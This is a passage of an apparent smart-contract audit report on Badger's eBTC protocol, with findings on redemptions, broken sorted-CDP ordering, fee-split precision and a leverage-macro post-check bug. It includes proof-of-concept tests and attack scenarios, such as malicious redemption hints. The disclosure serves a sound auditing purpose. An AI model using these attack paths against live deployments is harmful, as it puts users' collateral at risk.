        if (status == Status.bothOraclesUntrusted) {
            /*
             * If there's no fallback, only use Chainlink
             */
            if (address(fallbackCaller) == address(0)) {
                // If CL has resumed working
                if (
                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
                    !_chainlinkIsFrozen(chainlinkResponse)
+                   && !_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)
                ) {
                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
                    return _storeChainlinkPrice(chainlinkResponse.answer);
                }
+               else {
+                   return lastGoodPrice;
+               }
            }

         ......
   }

The PR for the fix is TBA

ronnyx2017 (Judge) decreased severity to Medium and commented:

If the price oracle will be used for tokens with high volatility, I belive this should be at least a medium risk issue. However, if it’s only for BTC and stETH, it’s more like a QA under normal rules. The mitigation from the sponsor shows that it’s a safety design for price oracle. This fills the gap in the confidence interval of chainlink. I think it can be marked as a med risk, as a defence bypass instead of a price manipulation.


[M-02] Redemptions are inconsistent with other cdp’s operations

Submitted by 0xRobocop, also found by ether_sky

Most actions that modify the (ICR) of a Collateralized Debt Position (CDP) must adhere to specific regulations to maintain the system’s stability. For instance, closing a CDP or decreasing its collateral is not permitted if it would trigger the system’s recovery mode, or if the system is already in that mode.

However, the rules for redemptions are less stringent. The only conditions are that both the system and the CDPs undergoing redemption must have an TCR and ICR above the MCR. So, it is possible to redeem a cdp that is actually helping the system to stay healthy.

Proof of Concept

Follow the next steps to run the coded proof of concept:

  • Copy and paste the following test under test/CdpManagerTest.js:
    it.only("redeemCollateral(): Is inconsistent with other cdp behaviors", async () => {
        await contracts.collateral.deposit({from: A, value: dec(1000, 'ether')});
        await contracts.collateral.approve(borrowerOperations.address, mv._1Be18BN, {from: A});
        await contracts.collateral.deposit({from: B, value: dec(1000, 'ether')});
        await contracts.collateral.approve(borrowerOperations.address, mv._1Be18BN, {from: B});
        await contracts.collateral.deposit({from: C, value: dec(1000, 'ether')});
        await contracts.collateral.approve(borrowerOperations.address, mv._1Be18BN, {from: C});

        // @audit-info Current BTC / ETH price is 1.
        const newPrice = dec(1, 18);
        await priceFeed.setPrice(newPrice)

        // @audit-info Open some CDPs.
        await borrowerOperations.openCdp(dec(400, 18), A, A, dec(1000, 'ether'), { from: A })
        await borrowerOperations.openCdp(dec(75, 18), B, B, dec(100, 'ether'), { from: B })
        await borrowerOperations.openCdp(dec(75, 18), C, C, dec(100, 'ether'), { from: C })

        let _aCdpId = await sortedCdps.cdpOfOwnerByIndex(A, 0);
        let _bCdpId = await sortedCdps.cdpOfOwnerByIndex(B, 0);
        let _cCdpId = await sortedCdps.cdpOfOwnerByIndex(C, 0);

        const price = await priceFeed.getPrice()
        
        const currentTCR = await cdpManager.getSyncedTCR(price);
        console.log("TCR of the system before price reduction: " + currentTCR.toString())

        // @audit-info Some price reduction.
        const newPrice2 = dec(6, 17);
        await priceFeed.setPrice(newPrice2)

        const price2 = await priceFeed.getPrice()

        const currentTCR2 = await cdpManager.getSyncedTCR(price2);
        console.log("TCR of the system after price reduction" + currentTCR2.toString())

        // @audit-info All cdps are in the linked list.
        assert.isTrue(await sortedCdps.contains(_aCdpId))
        assert.isTrue(await sortedCdps.contains(_bCdpId))
        assert.isTrue(await sortedCdps.contains(_cCdpId))

        await cdpManager.setBaseRate(0) 

        // @audit-info Redemption of 400 eBTC.
        const EBTCRedemption = dec(400, 18)
        await th.redeemCollateralAndGetTxObject(A, contracts, EBTCRedemption, GAS_PRICE, th._100pct)

        // @audit-info Redemption will happen to A's position because B and C ICRs are below MCR.
        assert.isFalse(await sortedCdps.contains(_aCdpId))
        assert.isTrue(await sortedCdps.contains(_bCdpId))
        assert.isTrue(await sortedCdps.contains(_cCdpId))
        
        // @audit-issue UNDERCOLLATERALIZED
        const currentTCR3 = await cdpManager.getSyncedTCR(price2);
        console.log("TCR after redemption: " + currentTCR3.toString())
      })

This proof of concept highlights a significant risk: a situation where the entire system becomes undercollateralized. Although the likelihood of this occurring is low, there are other, more probable scenarios to consider. One such scenario involves executing one or multiple redemptions that push the system into recovery mode.

Currently, there’s a redemption fee in place that escalates the cost of withdrawing large amounts of collateral, serving as a financial deterrent to potential manipulation. However, this is primarily an economic obstacle. Given that eBTC aims to be a fundamental component for Bitcoin in the Ethereum DeFi ecosystem, it’s crucial to ensure that redemptions do not jeopardize the system’s stability.

It should also be noted that the RiskDao’s analysis regarding redemptions does not extend to situations where redemptions are strategically used to affect the system’s collateralization.

Redemptions should have the same rules for other cdp changes. For example:

  • Redeeming should not let the system in RM
  • Redeeming should not be possible if the system is in RM unless it makes the system to get out of RM

Alex the Entreprenerd (Badger) confirmed and commented:

I believe the finding to be valid, under the specific circumstance of:

  • CDPs with Bad Debt
  • No CDPs with ICR > MCR and ICR < CCR

A redemption can cause TCR to decrease and trigger recovery mode.

This is extremely unlikely as it’s irrational for people to redeem instead of liquidate, however it could be used to trigger Recovery Mode in unintended way.

Additionally, the issue is not fixable as bad debt redistributions could be so big as to trigger RM separately and that’s not avoidable.

I appreciate the time taken by the Warden and believe this will have to be sorted by reserving some amount of eBTC for Bad Debt Liquidations as means to “clean up” those risky CDPs, I believe this can be done profitable for the DAO in place of redemptions and as such believe we will:

  • Add the check to prevent directly triggering RM
  • Assume it will still be possible to trigger RM directly
  • Monitor this situation
  • Have some eBTC to perform said liquidations to avoid this scenario under most reasonable conditions

Note: See full discussion here.


[M-03] Attacker can utilize function CdpManager.redeemCollateral() to break the order of sortedCdps

Submitted by TrungOre

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L434-L443

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L209-L214

The CdpManager.redeemCollateral() function is used to send the _debt amount of EBTC to the system and redeem the corresponding amount of stETH. There are two important features to note about this function before delving into the problem:

  • The function begins redemption from the Cdp with the smallest ICR, where the ICR is greater than or equal to MCR. The subsequently redeemed Cdps will follow the ascending order of NICR in the SortedCdps list.
  • All Cdps that are redeemed, with the likely exception of the last one, will end up with no remaining debt and will be closed. If the last Cdp does have some remaining debt and collateral (indicating a valid and meaningful ICR), it will be reinserted into the SortedCdps list using the “hint” provided by the users/front-end.

The protocol utilizes a new technique by employing a sortedCdps.batchRemove() function to remove a consecutive sequence of Cdps in the sorted list after the redemption loop, instead of removing each one individually in each iteration of the loop for gas-saving purposes.

while (
    currentBorrower != address(0) && totals.remainingDebtToRedeem > 0 && _maxIterations > 0
) {
    ... 
    SingleRedemptionValues memory singleRedemption = _redeemCollateralFromCdp(
        _redeemColFromCdp
    );
    ... 
}

// remove from sortedCdps
if (_numCdpsFullyRedeemed == 1) {
    sortedCdps.remove(_firstRedeemed);
} else if (_numCdpsFullyRedeemed > 1) {
    bytes32[] memory _toRemoveIds = _getCdpIdsToRemove(
        _lastRedeemed,
        _numCdpsFullyRedeemed,
        _firstRedeemed
    );
    sortedCdps.batchRemove(_toRemoveIds);
}

As we observe, in each iteration of the loop, the internal function CdpManager._redeemCollateralFromCdp() is triggered, executing the following logic:

  • If there is no remaining debt, the Cdp should be closed. To accomplish this, the function CdpManagerStorage._closeCdpByRedemption() will be triggered, assigning the new STORAGE debt and collateral for the corresponding Cdp:

    • Cdps[_cdpId].coll = 0;
    • Cdps[_cdpId].debt = 0;

    However, no “remove” operation will be executed for the Cdp in the SortedCdps list. Consequently, the removed Cdp will remain in the same position in the sorted list after the for-loop, with the new collateralization ratio (NICR), which is type(uint256).max following these lines of code.

  • Otherwise, the Cdp will be assigned a remaining value of debt and collateral and will immediately be reinserted into the SortedCdps list.

The flaw arises when the partially redeemed Cdp is reinserted while the fully redeemed Cdps haven’t been removed from the sorted list yet.

Note: please see scenario in warden’s original submission.

Impact

The sequence of the sortedCdps list will be disrupted, and given that essential protocol functions operate in accordance with this sequence, the severity of the issue is significant.

Instead of inserting the partially redeemed Cdp back in the for-loop, the function should reinsert it after removing the fully redeemed Cdp.

Alex the Entreprenerd (Badger) disputed and commented:

The finding is known and part of the known broken invariants + cantina report.

We would be more lenient if any impact was demonstrated but afaict there’s only an edge case for Redemptions not working when liquidations are more profitable which would lead me to dispute even in that case.

We are interested in more impacts if those were found.

We would want to ask the Warden for the POC as we have a concern for the issue being valid, but it seems like the finding is impossible in practice.

rayeaster (Badger) commented:

Here is a working POC to verify the finding.

ronnyx2017 (Judge) commented:

The finding is known and part of the known broken invariants + cantina report.

I have noticed that a pull request https://github.com/ebtc-protocol/ebtc/pull/725 has been submitted to the main repo for this issue. Is this really OOS, @Alex the Entreprenerd?

Alex the Entreprenerd (Badger) commented:

The breaking of sorting is known but the mechanism through which this was achieved was not, so we believe the finding to be in scope.

The impact of this finding is unclear.

ronnyx2017 (Judge) commented:

The attack scenario provided by the warden is very clear, but I don’t see any actual profit or loss from it. Warden might argue that the CDP’s position is incorrect after partial redemption, leading to damage upon the next redemption. However, in reality, it could have been fully redeemed initially, and the attacker wouldn’t have gained any additional profits from it. But this clearly violates a critical invariant, especially when carefully crafted inputs are used as attack vectors. Therefore, I believe this falls into a med category.

CodingNameKiki (Warden) commented:

Currently working alongside the Badger team on some mitigations.

So on short explanation I understood that this issue:

  • Have no impact that I am aware of.
  • Messes up only the first redeemable node after the attack.
  • The node ordering is back to normal when someone else redeems after the attack.

The attack scenario provided by the warden is very clear, but I don’t see any actual profit or loss from it.

Agree with you on this one, at the same time an interesting question is why would anyone want to do this if there is no profit from it, no impact and the sorted order is back to normal on the next redeem.

https://gist.github.com/CodingNameKiki/b3f36aacc704c082df2b974b2db89c78

ronnyx2017 (Judge) decreased severity to Low/Non-critical and commented:

Thanks for the poc and verification from @CodingNameKiki . And the sponsor finally convinced me. The invariant was only temporarily broken, and whatever the attacker does during this intermediate stage will get back to the previous state. This impact is so minimal that it can be downgraded to a QA.

WelToHackerLand (Warden) commented:

Hello @ronnyx2017 & @rayeaster, thank you for reviewing the issue.

I would like to respectfully question the severity of the problem for the following reasons:

  • Initially, there doesn’t seem to be an attacker involved in this issue, as a regular user seeking partial redemption could potentially disrupt the sorted cdps. The provided Proof of Concept (POC) demonstrates that the hints used by the sender are derived from the hintHelpers contract rather than being predetermined by an attacker.
  • Additionally, the POC presented by @CodingNameKiki might be applicable only when the redemption occurs immediately after. What if other transactions take place before the fixed redemption? For instance, consider a scenario where the NICR of sortedCdps post-redemption disrupts the order, such as [8, 12, 5]. If a user intends to open a new CDP with NICR = 9, the provided hints could be before NICR = 8, resulting in the new sorted cdps as [9, 8, 12, 5]. In this case, there are now two incorrect positions in the sorted list instead of one. The more openCdp() transactions are initiated, the more incorrect positions could emerge, and the cost to rectify the order becomes higher.

Considering these factors, I believe the severity of this issue should be classified as medium.

CodingNameKiki (Warden) commented:

Initially, there doesn’t seem to be an attacker involved in this issue, as a regular user seeking partial redemption could potentially disrupt the sorted cdps. The provided Proof of Concept (POC) demonstrates that the hints used by the sender are derived from the hintHelpers contract rather than being predetermined by an attacker.

Do you mean providing wrong _firstRedemptionHint or wrong _partialRedemptionHintNICR, if that’s the case the system will manually find the correct redeemable hint which is the first node with ICR >= MCR, on the other hand if you provide a wrong partial hint NICR the partial redeeming will be cancelled.

        if (_isValidFirstRedemptionHint(_firstRedemptionHint, totals.price)) {
            currentBorrower = sortedCdps.getOwnerAddress(_firstRedemptionHint);
        } else {
            _cId = sortedCdps.getLast();
            currentBorrower = sortedCdps.getOwnerAddress(_cId);
            // Find the first cdp with ICR >= MCR
            while (currentBorrower != address(0) && getSyncedICR(_cId, totals.price) < MCR) {
                _cId = sortedCdps.getPrev(_cId);
                currentBorrower = sortedCdps.getOwnerAddress(_cId);
            }
        }
            if (
                newNICR != _redeemColFromCdp.partialRedemptionHintNICR ||
                collateral.getPooledEthByShares(newColl) < MIN_NET_STETH_BALANCE
            ) {
                singleRedemption.cancelledPartial = true;
                return singleRedemption;
            }

In case you are talking about the upper and lower hints used in the POC, I tried every other possible hints and the system is working correctly. So this scenario is only possible if someone provided the exact hints and only when the system fully redeems a node and partially redeems from another.

We would be more lenient if any impact was demonstrated but afaict there’s only an edge case for Redemptions not working when liquidations are more profitable which would lead me to dispute even in that case We are interested in more impacts if those were found

As mentioned we are already aware and it’s known that wrong sorting can happen from the broken invariants, the question should be what impact does this issue lead to? Would suggest for a further research on the impact here and coded POC.

huuducsc (Warden) commented:

@ronnyx2017, @rayeaster, & @Alex the Entreprenerd - I would like to explain the reasons why I believe this issue should be considered at least a medium severity. I also believe that these explanations can address the concerns raised from @codingnamekiki and others to downgrade this issue.

  1. I believe the provided attack vector is very clear, indicating that an attacker can disrupt the sorting order of CDPs through partial redemption. The attacker just needs to call the function redeemCollateral with malicious values for _upperPartialRedemptionHint and _lowerPartialRedemptionHint to place the partially redeemed CDP in the wrong position. The scenario was described very clearly in the report, and there is another proof of concept (POC) mentioned in the comment by @rayeaster.
    Additionally, I believe it’s not a known issue because the known scenario that also breaks the order is from redistribution of debt and yield, which is different. This scenario allows an external attacker to interact with and manipulate the broken invariants. It has a significant impact, which will be described below.
  2. An attacker can increase the NICR of a partially redeemed CDP to a very large value and place it in the wrong position. To achieve this, the attacker can calculate the redemption amount to leave the remaining debt of the partially redeemed CDP at 1. For example, if a CDP has $15e18 in collateral and $10e18 in debt, the attacker can calculate a partial redemption with a debt of $10e18 - 1, resulting in a remaining debt of 1 and remaining collateral of 5e18 (assuming remaining collateral can bypass MIN_NET_STETH_BALANCE). This manipulation causes the new NICR to become very large.

Note: please see warden’s original comment for full details.

  1. Due to the above scenario, I disagree with the statement made by @ronnyx2017: “The invariant was only temporarily broken, and whatever the attacker does during this intermediate stage will get back to the previous state.”
    The attacker can open numerous new Cdps into incorrect positions using dummy upperHint and invalid lowerHint (details are described in the scenario and PoC of section 2), disrupting the order of protocols. Moreover, the attacker can front-run any opening CDP transaction by users to break the order, make it becomes the first position to be redeemed. Here are the details of the impacts that cause significant damage to protocol:
  2. The attacker can break the order of sortedCdps and disrupt it by opening many new CDPs with _upperHint is dummy, placing them in incorrect positions (as described above). Therefore, sortedCdps will have many incorrect positions that are not easy to resolve. This disruption can mess up the protocol’s data and may result in incorrect returns from the HintHelpers contract.
  3. After the mentioned manipulation, any new CDP will be at risk of being redeemed with priority, even though its NICR is still good. This can happen if the _upperHint passed to the openCdp function of users is dummy or invalid, which can occur normally due to changes in on-chain data like front-running or incorrect returns from the HintHelper contract. It creates an unfair situation for protocol users, as they may be compelled to redeem their assets (acquiring debt assets and losing collateral assets) even when they have a CDP with a high NICR.

In conclusion, this issue has a significant impact that can disrupt the ordered state of the protocol and put users at risk of having their assets forcibly redeemed. However, the severity may increase if attackers identify other attack vectors (which I haven’t found until now) to manipulate the state and exploit vulnerabilities since attackers are able to break order invariants externally.

CodingNameKiki (Warden) commented:

^ Thanks for the reply, check the below POC which confirms the above statements.

https://gist.github.com/CodingNameKiki/0f4bc68802cfcbfe255759554b735b38

ronnyx2017 (Judge) increased severity to Medium and commented:

Thank you warden for providing additional information on the impact. This has made the report ultimately comprehensive and clear.

I have discussed the final rating based on the following facts, rules, and input from two senior judges. We ultimately elevate this issue to MEDIUM.
Record I (recommendations from senior judges):

As the original submission doesn’t contain a PoC of the final impact, I think Medium is more appropriate.

Record II (my assessment):

  1. For the impact I.

This disruption can mess up the protocol’s data and may result in incorrect returns from the HintHelpers contract.

it meets the criteria of MED. Although it is not dos, it affected the availability of the protocol for normal users.

but the function of the protocol or its availability could be impacted

  1. For impact II.

It creates an unfair situation for protocol users, as they may be compelled to redeem their assets (acquiring debt assets and losing collateral assets) even when they have a CDP with a high NICR.

It’s based on impact I, but I think it can be a HIGH according to the criteria:

Assets can be ~stolen/lost/~ compromised ~directly or~ indirectly if there is a valid attack path that does not have hand-wavy hypotheticals

Because attackers are able to break order invariants externally, we can believe the attack path is explicit (include front run). And the redemption from high NICR cdp won’t result in a direct loss of assets, but it is clearly a form of compromise.

Note: For further discussion, see here.


[M-04] The way fees are accounted can break the sorted list order

Submitted by 0xBeirao

eBTC borrows the corrected stake mechanism from Liquity for reward distributions. (paper)

Doing a pure collateral proportionnal redistribution will over-rewards fresh cdps, and under-rewards older troves. The redistribution must deal with the fact that some fraction of a cdp’s entire collateral is the accumulated reward from previous liquidations, and this fraction varies across cdps.

The corrected stake was introduced by Liquity to correct for this.

The intuition behind the choice of corrected stake is that the corrected stake effectively models the fresh trove’s collateral as a total collateral, which includes ‘virtual’ accumulated rewards. The corrected stake earns rewards for the trove as if the trove had been in the system from the beginning - thus maintaining proportional reward growth.

(Source)

eBTC makes some modifications to the original design that make the protocol vulnerable to an order break in the sorted list.

Let’s explain why.

Initially totalStake == totalCollateral, this is because no fees have been taken yet. Then, as the stETH value increases the protocol takes 50%. (if stETH apr is 5% then eBTC takes 2,5% as fees): CdpManagerStorage.sol#L509-L521.

function _calcSyncedGlobalAccounting(
    uint256 _newIndex,
    uint256 _oldIndex
) internal view returns (uint256, uint256, uint256) {
    if (_newIndex > _oldIndex && totalStakes > 0) {
        /// @audit-ok We don't take the fee if we had a negative rebase
        (
            uint256 _feeTaken,
            uint256 _deltaFeePerUnit,
            uint256 _perUnitError
        ) = calcFeeUponStakingReward(_newIndex, _oldIndex);

        // calculate new split per stake unit
        uint256 _newPerUnit = systemStEthFeePerUnitIndex + _deltaFeePerUnit;
        return (_feeTaken, _newPerUnit, _perUnitError);
    } else {
        return (0, systemStEthFeePerUnitIndex, systemStEthFeePerUnitIndexError);
    }
}

The _feeTaken goes directly to the protocol and reduces the totalCollateral value. (because internal accounting uses shares for internal accounting aka wstETH) CdpManagerStorage.sol#L585:

activePool.allocateSystemCollSharesToFeeRecipient(_feeTaken);

Because the stake is calculated like this: CdpManagerStorage.sol#L454

stake = (_coll * totalStakesSnapshot) / totalCollateralSnapshot;

Now the new CDP stake will be higher than old cdp stakes since totalStakesSnapshot has not moved but totalCollateralSnapshot has decreased.

⇒ Since the debt redistributions and fee payments depend on the stake to distribute funds, we can intuitively understand that new CDPs will pay more fees than the old ones. Therefore, new cpds NICR (Nominal Individual Collateral Ratio = shares/debt) will decrease at a higher rate than old ones.

This can cause old CDPs to cross newer ones and break list order.

This list order break make the insertion position not unique anymore, this can lead to more and more disorder in the list that leads to unexpected behaviours such as DOS and bad redemption order.

Proof of Concept

This poc only takes advantage of splitting fees to break the list order, but note that debt redistribution events exacerbate this problem.

function test_H1() public {
  vm.pauseGasMetering();

  address firstUser;
  address lastUser;
  bytes32 firstCdpId;
  bytes32 lastCdpId;       

  uint loop = 100;

  /// let's open 100 cdps and save the 1st and last index
  for (uint256 i = 0; i < loop; i++) {
      (uint256 oldIndex, uint256 newIndex) = _applyIndexChange(2000000000000000); // 0,2% stETH increase
      // get a random user
      address user = _utils.getNextUserAddress();
      vm.startPrank(user);

      // Randomize collateral amount used
      vm.deal(user, 10 ether * 1000);
      collateral.approve(address(borrowerOperations), 10 ether*1000);
      collateral.deposit{value: 10 ether * 1000}();

      uint shareAmount = 10 ether;
      uint256 collAmount = collateral.getPooledEthByShares(shareAmount);

      uint256 borrowedAmount;
      if (i == loop - 1)
          // here we compute borrowedAmount to make lastCdpId NCIR very close to firstCdpId NICR
          borrowedAmount = (1e20 * (shareAmount - collateral.getSharesByPooledEth(2e17))) / cdpManager.getSyncedNominalICR(firstCdpId);   // borrowedAmount = 0.65764 ether;
      else
          borrowedAmount = 0.5 ether;

      bytes32 id = borrowerOperations.openCdp(borrowedAmount, "hint", "hint", collAmount);

      if (i == 0)        {firstUser = user; firstCdpId = id;}
      if (i == loop - 1) {lastUser = user ; lastCdpId = id;}

      vm.stopPrank();
  }

  logNICR(firstCdpId, lastCdpId);
  // NICR 1st trove should be < NICR last trove 
  assertLe(cdpManager.getSyncedNominalICR(firstCdpId), cdpManager.getSyncedNominalICR(lastCdpId));

  /// Let's increase the stETH by 40% and open a last cdp
  (uint256 oldIndex, uint256 newIndex) = _applyIndexChange(400000000000000000); // 40% stETH increase
  // get a random user
  address user = _utils.getNextUserAddress();
  vm.startPrank(user);

  uint256 collAmount = 10 ether;
  // deal ETH and deposit for collateral
  vm.deal(user, collAmount * 1000);
  collateral.approve(address(borrowerOperations), collAmount);
  collateral.deposit{value: collAmount * 1000}();

  uint borrowedAmount = 0.5 ether;
  borrowerOperations.openCdp(borrowedAmount, "hint", "hint", collAmount);
  vm.stopPrank();
  
  logNICR(firstCdpId, lastCdpId);
  // NICR 1st trove should be < NICR last cdp but it's not the case 
  assertLe(cdpManager.getSyncedNominalICR(firstCdpId), cdpManager.getSyncedNominalICR(lastCdpId));
}

function logNICR(bytes32 firstCdpId, bytes32 lastCdpId) public {
  console.log("---------------------------------- 1st cdp");
  console.log("getCdpStake         : ", cdpManager.getCdpStake(firstCdpId));
  console.log("getCdpCollShares    : ", cdpManager.getCdpCollShares(firstCdpId));
  console.log("getSyncedNominalICR : ", cdpManager.getSyncedNominalICR(firstCdpId));
  console.log("---------------------------------- last cdp");
  console.log("getCdpStake         : ", cdpManager.getCdpStake(lastCdpId));  
  console.log("getCdpCollShares    : ", cdpManager.getCdpCollShares(lastCdpId));
  console.log("getSyncedNominalICR : ", cdpManager.getSyncedNominalICR(lastCdpId));
  console.log("---");
  console.logInt(int(int(cdpManager.getSyncedNominalICR(firstCdpId))-int(cdpManager.getSyncedNominalICR(lastCdpId))));
  console.log("----------------------------------");
}

This test fails on the last assertion, meaning that the list is no longer sorted.

This is hard to fix because the sorted list was not designed to work this way.

I haven’t been able to find a quick fix that preserves the list order with a fair redistribution.

Even if it is less fair for borrowers, a proportional distribution (without the corrected stake) can solve this problem but it will be an incomplete solution.

The eBTC team needs to rethink the fee/debt redistribution to maintain the list order.

Sources

https://github.com/liquity/dev/blob/main/papers/Efficient_Order-Preserving_Redistribution_of_Troves.pdf

Alex the Entreprenerd (Badger) commented:

The conclusion is wrong.

But the finding showed that the feeSplit math is incorrect, which is a severe finding.

rayeaster (Badger) commented:

It is more like a precision issue using Solidity instead of a fundamental design problem.

The following statement is worth more thinking: we can intuitively understand that new CDPs will pay more fees than the old ones. Therefore, new cpds NICR (Nominal Individual Collateral Ratio = shares/debt) will decrease at a higher rate than old ones.

Yes, higher stake leads to more fees, but it is NOT equal to “decrease at a higher rate”, actually the relative ratio of NICR between two CDPs always keep the same “theoretically” by the stake mechanism.

Note: please see sponsor’s original comment for full details regarding this.

If we could manually syncAccounting for the first CDP along the poc test path (i.e., always sync its collateral for every index increase in the loop) or simply set the loop number to 1000 instead of 100, the list order will not break at the end of the poc test.

And the break require some delicate conditions like significant increase of the Lido stETH index, e.g., 40% increase means about 10 years at the current staking reward apr.

I suggest to mark it as “acknowledged”.

ronnyx2017 (Judge) commented:

Thanks for the careful and clear math prove from @rayeaster, it’s very helpful to show the underlying mechanism of the issue based. It’s amazing. And I want to add a comment for s2 in T3. There is no need to worry about the impact of c and s1 on Sn and Cn1 in T1, as they grow proportionally. The mathematical calculations in T3 are completely correct, and you can further prove this. I have actually done it myself, but I’m not very good at writing mathematical formulas using Markdown. So, I’m only providing this conclusion to prevent any doubts about this.

And I add one line at the end of logNICR function in the original poc:

console.log(cdpManager.getSyncedNominalICR(firstCdpId) * 1e18 / cdpManager.getSyncedNominalICR(lastCdpId));

The console log can clearly show why the sponsor says it’s a precision issue:

Logs:
before
  ---------------------------------- 1st cdp
  getCdpStake         :  9800399201596806387
  getCdpCollShares    :  9800399201596806387
  getSyncedNominalICR :  1791162047648499053200
  ---------------------------------- last cdp
  getCdpStake         :  10760678217311938700
  getCdpCollShares    :  9833333333333333333
  getSyncedNominalICR :  1791162047648499053418
  ---
  -218
  999999999999999999
  ----------------------------------
 after
  ---------------------------------- current cdp
  getCdpStake         :  7660143815713583482
  getCdpCollShares    :  6125000000000000000
  getSyncedNominalICR :  1225000000000000000000
  ----------------------------------
  ---------------------------------- 1st cdp
  getCdpStake         :  9800399201596806387
  getCdpCollShares    :  9800399201596806387
  getSyncedNominalICR :  1567266791692436672600
  ---------------------------------- last cdp
  getCdpStake         :  10760678217311938700
  getCdpCollShares    :  9833333333333333333
  getSyncedNominalICR :  1567266791692436672219
  ---
  381
  1000000000000000000
  ----------------------------------

In fact, this variation is not linear. It requires the growth of the index to occur at an extremely precise value in order to generate this error.

And I also want to provide a poc test for the amazing math prove from @rayeaster, thanks again.

      function test_H2prove() public {
        vm.pauseGasMetering();
      
        address cdp1_user;
        address cdp2_user;
        bytes32 cdp1_id;
        bytes32 cdp2_id;       

        // stake someting to init
        {
            address _nobody = prepareUser();
            vm.prank(_nobody);
            borrowerOperations.openCdp(1.337 ether, "hint", "hint", 31.415 ether);
            _applyIndexChange(1000000000000000); // +0.1% index
        }
        
        // T0
        {
            cdpManager.syncGlobalAccountingAndGracePeriod();
            uint Sn = cdpManager.totalStakesSnapshot();
            uint Cn0 = cdpManager.totalCollateralSnapshot();
            console.log(Sn, Cn0);    
        }
        
        // const
        uint c = 10 ether;
        uint d = 0.5 ether;

        // T1
        cdp1_user = prepareUser();
        vm.prank(cdp1_user);
        cdp1_id = borrowerOperations.openCdp(d, "hint", "hint", c);
        // uint s1 = cdpManager.getCdpCollShares(cdp1_id);
        // console.log(s1);

        // T2
        {
            int delta_p1 = 2000000000000000; // +0.2% index
            _applyIndexChange(delta_p1);
            cdpManager.syncGlobalAccountingAndGracePeriod();
            // vm.prank(cdp1_user);
            // cdpManager.syncAccounting(cdp1_id);
        }

        // T3
        cdp2_user = prepareUser();
        vm.prank(cdp2_user);
        // c = 17 ether;
        // d = 1.1 ether;
        cdp2_id = borrowerOperations.openCdp(d, "hint", "hint", c);
        // uint s2 = cdpManager.getCdpCollShares(cdp2_id);
        // console.log(s2);

        // after T3, we should calc NICR rate
        uint wad = 1e18;
        {
            uint cdp1_NICR_T3 = cdpManager.getSyncedNominalICR(cdp1_id);
            uint cdp2_NICR_T3 = cdpManager.getSyncedNominalICR(cdp2_id);
            uint rate_T3 = cdp1_NICR_T3 * wad / cdp2_NICR_T3;
            console.log(rate_T3);
        }

        // T4
        {
            int delta_p2 = 400000000000000000; // +40% index
            _applyIndexChange(delta_p2);
            cdpManager.syncGlobalAccountingAndGracePeriod();
            // dump rate after T4
            uint cdp1_NICR_T4 = cdpManager.getSyncedNominalICR(cdp1_id);
            uint cdp2_NICR_T4 = cdpManager.getSyncedNominalICR(cdp2_id);
            uint rate_T4 = cdp1_NICR_T4 * wad / cdp2_NICR_T4;
            console.log(rate_T4);
            // console.log(cdpManager.getCdpCollShares(cdp1_id), cdpManager.getCdpCollShares(cdp2_id));
        }
      }

rayeaster (Badger) commented:

@ronnyx2017 - Thanks for the great proof test!

It helps to spark an interesting idea. Do you think it would help to use sth like cdpManager.getSyncedNominalICR(firstCdpId) * 1e18 / cdpManager.getSyncedNominalICR(lastCdpId) to compare the NICR as an additional check?

Note: please see sponsor’s original comment for full details.

ronnyx2017 (Judge) commented:

Aha, I think this check may be idealistic. The poc we are currently discussing only involves a single rounding situation, but the actual scenario may be much more complex. Each syncAccounting after a rebase introduces rounding, but I believe this will actually alleviate the impact of the issue.

rayeaster (Badger) commented:

If we add bad debt redistribution into the play, the ratio of NICR between CDPs would change but will NOT go to the extent that reverse the ordering.

Note: please see sponsor’s original comment for full details.

So the whole story would be:

  • Split fee distribution would keep the NICR ratio the same
  • Bad debt redistribution would change the NICR ratio a bit but still remain the ordering

ronnyx2017 (Judge) decreased severity to Medium and commented:

The impact based on bad debt redistribution is valid, but it can’t break the cdp order. Considering the fixes already introduced in Liquity, I suggest considering the impact of this issue in long-running systems. Therefore, I mark this issue as medium.


[M-05] When calling LeverageMacroBase.doOperation to open a CDP, the POST CALL CHECK may use the wrong cdpId

Submitted by nobody2018, also found by Stormy, 0xRobocop, and BARW

After LeverageMacroBase.doOperation is used to open a new CDP, there will be a POST CALL CHECK, which is used to check the new CDP. However, the current implementation incorrectly assumes that the index of the new CDP is the last one. In this case, there may be two impacts:

  1. The check that should be passed cannot be passed, causing tx revert and waste of gas.
  2. The check that should not have been passed was passed, which may result in funds losses from this contract or caller.

Proof of Concept

doOperation is used to open a new CDP, and there are roughly three steps: setup for POST CALL CHECK, openCdp, POST CALL CHECK for the created CDP.

File: packages\contracts\contracts\LeverageMacroBase.sol
118:     function doOperation(
119:         FlashLoanType flType,
120:         uint256 borrowAmount,
121:         LeverageMacroOperation calldata operation,
122:         PostOperationCheck postCheckType,
123:         PostCheckParams calldata checkParams
124:     ) external {
......
139:         uint256 initialCdpIndex;
140:         if (postCheckType == PostOperationCheck.openCdp) {
141:             // How to get owner
142:             // sortedCdps.existCdpOwners(_cdpId);
143:->           initialCdpIndex = sortedCdps.cdpCountOf(address(this));
144:         }

......//do the operation

169:         if (postCheckType == PostOperationCheck.openCdp) {
170:             // How to get owner
171:             // sortedCdps.existCdpOwners(_cdpId);
172:             // initialCdpIndex is initialCdpIndex + 1
173:->           bytes32 cdpId = sortedCdps.cdpOfOwnerByIndex(address(this), initialCdpIndex);.
174: 
175:             // Check for param details
176:             ICdpManagerData.Cdp memory cdpInfo = cdpManager.Cdps(cdpId);
177:->           _doCheckValueType(checkParams.expectedDebt, cdpInfo.debt);
178:->           _doCheckValueType(checkParams.expectedCollateral, cdpInfo.coll);
179:             require(
180:                 cdpInfo.status == checkParams.expectedStatus,
181:                 "!LeverageMacroReference: openCDP status check"
182:             );
183:         }
......
211:     }

L143, initialCdpIndex = sortedCdps.cdpCountOf(address(this)), which is used to count the number of CDPs already owned by this.

L145-168, Creats a CDP, the code here is not helpful in describing the issue and is therefore omitted.

